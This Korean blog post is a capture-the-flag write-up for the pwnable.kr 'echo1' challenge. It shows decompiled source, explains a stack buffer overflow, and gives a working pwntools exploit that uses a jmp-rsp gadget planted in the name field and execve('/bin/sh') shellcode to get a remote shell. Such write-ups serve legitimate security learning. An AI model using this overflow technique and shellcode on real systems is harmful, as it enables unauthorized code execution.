Pwnstar
Pwnable.kr echo1 본문
echo1 문제이다.
mitigation
쉘코드 실행시킬 수 있음
소스코드(IDA)
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rax
unsigned int v5; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
__int64 v7; // [rsp+18h] [rbp-18h]
__int64 v8; // [rsp+20h] [rbp-10h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
__isoc99_scanf("%24s", &v6);
v3 = o;
*(_QWORD *)o = v6;
v3[1] = v7;
v3[2] = v8;
id = v6;
getchar();
func[0] = (__int64)echo1;
qword_602088 = (__int64)echo2;
qword_602090 = (__int64)echo3;
v5 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ");
__isoc99_scanf("%d", &v5);
getchar();
if ( v5 > 3 )
break;
((void (*)(void))func[v5 - 1])();
}
if ( v5 == 4 )
break;
puts("invalid menu");
}
cleanup();
printf("Are you sure you want to exit? (y/n)");
v5 = getchar();
}
while ( v5 != 121 );
puts("bye");
return 0;
}
취약점은 의외로 찾기 쉬웠다. 1번 메뉴 bof에서 bof가 발생하기 때문이다.
__int64 echo1()
{
char s; // [rsp+0h] [rbp-20h]
(*((void (__fastcall **)(void *))o + 3))(o);
get_input(&s, 128LL);
puts(&s);
(*((void (__fastcall **)(void *))o + 4))(o);
return 0LL;
}
시나리오는 대충 이렇다. 처음에 name을 입력하는 곳의 주소를 알고 있기 때문에, 이 부분에 pop esp에 해당하는 코드를 넣을 것이다.
그리고 bof 메뉴로 돌아와 dummy를 40바이트, 그리고 name의 주소를 return address에 넣고, 그 뒤에 쉘코드를 넣는다.
그러면 pop esp가 실행되고 esp는 return address 바로 뒤에 있는 쉘코드의 주소가 된다.
ex.py
from pwn import *
context.log_level = 'debug'
#p = process("./echo1")
p = remote("pwnable.kr", 9010)
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
Id = 0x6020A0
jump = "\xff\xe4"
p.recvuntil("hey, what's your name? : ")
p.sendline(jump)
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("\n")
payload = "A"*40
payload += p64(Id)
payload += shellcode
p.sendline(payload)
p.interactive()
끗
'Pwnable.kr > Rookiss' 카테고리의 다른 글
Pwnable.kr rsa_calculator (0) | 2020.07.29 |
---|---|
Pwnable.kr echo2 (0) | 2020.07.28 |
Pwnable.kr fix (0) | 2020.07.28 |
Pwnable.kr otp (0) | 2020.07.28 |
Pwnable.kr syscall (0) | 2020.07.22 |
Comments